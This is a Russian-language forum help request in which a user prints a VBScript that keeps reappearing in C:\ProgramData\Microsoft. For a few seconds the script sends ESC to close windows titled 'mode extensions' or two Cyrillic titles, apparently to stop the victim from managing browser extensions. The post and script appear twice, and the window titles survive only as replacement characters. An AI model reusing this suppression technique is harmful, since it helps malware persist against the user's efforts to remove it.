pyrexturnmeup
Новый пользователь
- Сообщения
- 33
- Реакции
- 4
находится в пути C:\ProgramData\Microsoft
код:
Set wshShell = CreateObject("WScript.Shell")
startTime = Now
doWhileTimeout = 7 / 86400
Do While Now - startTime < doWhileTimeout
If wshShell.AppActivate("mode extensions") or wshShell.AppActivate("������������") or wshShell.AppActivate("����������") Then
wshShell.SendKeys "{ESC}"
End If
WScript.Sleep 10
Loop
If Now - startTime >= doWhileTimeout Then
WScript.Quit
End If
если удалить, то появляется заново после перезапуска
код:
Set wshShell = CreateObject("WScript.Shell")
startTime = Now
doWhileTimeout = 7 / 86400
Do While Now - startTime < doWhileTimeout
If wshShell.AppActivate("mode extensions") or wshShell.AppActivate("������������") or wshShell.AppActivate("����������") Then
wshShell.SendKeys "{ESC}"
End If
WScript.Sleep 10
Loop
If Now - startTime >= doWhileTimeout Then
WScript.Quit
End If
если удалить, то появляется заново после перезапуска